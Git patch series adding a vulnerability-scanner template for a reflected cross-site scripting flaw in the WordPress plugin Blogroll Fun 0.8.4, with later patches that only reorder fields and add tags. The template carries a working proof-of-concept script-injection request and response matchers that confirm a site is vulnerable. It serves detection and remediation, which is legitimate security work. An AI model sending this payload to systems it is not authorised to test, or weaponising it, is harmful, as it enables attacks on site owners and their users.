From 738df35bfcb1ba1df94ecab8766413edbc66bd31 Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Thu, 4 Aug 2022 22:23:16 +0530 Subject: [PATCH 1/3] Create wp-blogroll-fun-xss.yaml --- .../wordpress/wp-blogroll-fun-xss.yaml | 37 +++++++++++++++++++ 1 file changed, 37 insertions(+) create mode 100644 vulnerabilities/wordpress/wp-blogroll-fun-xss.yaml diff --git a/vulnerabilities/wordpress/wp-blogroll-fun-xss.yaml b/vulnerabilities/wordpress/wp-blogroll-fun-xss.yaml new file mode 100644 index 0000000000..c2946af992 --- /dev/null +++ b/vulnerabilities/wordpress/wp-blogroll-fun-xss.yaml @@ -0,0 +1,37 @@ +id: wp-blogroll-fun-xss + +info: + name: WordPress Plugin Blogroll Fun-Show Last Post and Last Update Time Cross-Site Scripting (0.8.4) + author: DhiyaneshDK + severity: medium + description: | + WordPress Plugin Blogroll Fun-Show Last Post and Last Update Time is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. WordPress Plugin Blogroll Fun-Show Last Post and Last Update Time version 0.8.4 is vulnerable; prior versions may also be affected. + remediation: Update to plugin version 0.8.5 or latest + reference: + - https://codevigilant.com/disclosure/wp-plugin-blogroll-fun-a3-cross-site-scripting-xss/ + - https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-blogroll-fun-show-last-post-and-last-update-time-cross-site-scripting-0-8-4/ + metadata: + verified: true + tags: wordpress,wp-plugin,xss,unauth + + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/blogroll-fun/blogroll.php?k=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: word + words: + - 'Got:
' + part: body + + - type: word + words: + - 'text/html' + part: header + + - type: status + status: + - 200 From 3950e8304c6d511aa1c1fb4e23e1bed7fc3d594b Mon Sep 17 00:00:00 2001 From: Prince Chaddha Date: Sat, 6 Aug 2022 10:36:51 -0700 Subject: [PATCH 2/3] Update wp-blogroll-fun-xss.yaml --- vulnerabilities/wordpress/wp-blogroll-fun-xss.yaml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/vulnerabilities/wordpress/wp-blogroll-fun-xss.yaml b/vulnerabilities/wordpress/wp-blogroll-fun-xss.yaml index c2946af992..14a1dbd9cd 100644 --- a/vulnerabilities/wordpress/wp-blogroll-fun-xss.yaml +++ b/vulnerabilities/wordpress/wp-blogroll-fun-xss.yaml @@ -1,7 +1,7 @@ id: wp-blogroll-fun-xss info: - name: WordPress Plugin Blogroll Fun-Show Last Post and Last Update Time Cross-Site Scripting (0.8.4) + name: WordPress Plugin Blogroll Fun-Show Last Post and Last Update Time (0.8.4) - Cross-Site Scripting author: DhiyaneshDK severity: medium description: | @@ -23,14 +23,14 @@ requests: matchers-condition: and matchers: - type: word + part: body words: - 'Got:
' - part: body - type: word + part: header words: - 'text/html' - part: header - type: status status: From 689906608501ec93ed8dbeb233b161b8d40dc244 Mon Sep 17 00:00:00 2001 From: Prince Chaddha Date: Wed, 10 Aug 2022 09:32:23 -0700 Subject: [PATCH 3/3] Update wp-blogroll-fun-xss.yaml --- vulnerabilities/wordpress/wp-blogroll-fun-xss.yaml | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/vulnerabilities/wordpress/wp-blogroll-fun-xss.yaml b/vulnerabilities/wordpress/wp-blogroll-fun-xss.yaml index 14a1dbd9cd..9f503d497f 100644 --- a/vulnerabilities/wordpress/wp-blogroll-fun-xss.yaml +++ b/vulnerabilities/wordpress/wp-blogroll-fun-xss.yaml @@ -12,8 +12,7 @@ info: - https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-blogroll-fun-show-last-post-and-last-update-time-cross-site-scripting-0-8-4/ metadata: verified: true - tags: wordpress,wp-plugin,xss,unauth - + tags: wordpress,wp-plugin,xss,unauth,wp requests: - method: GET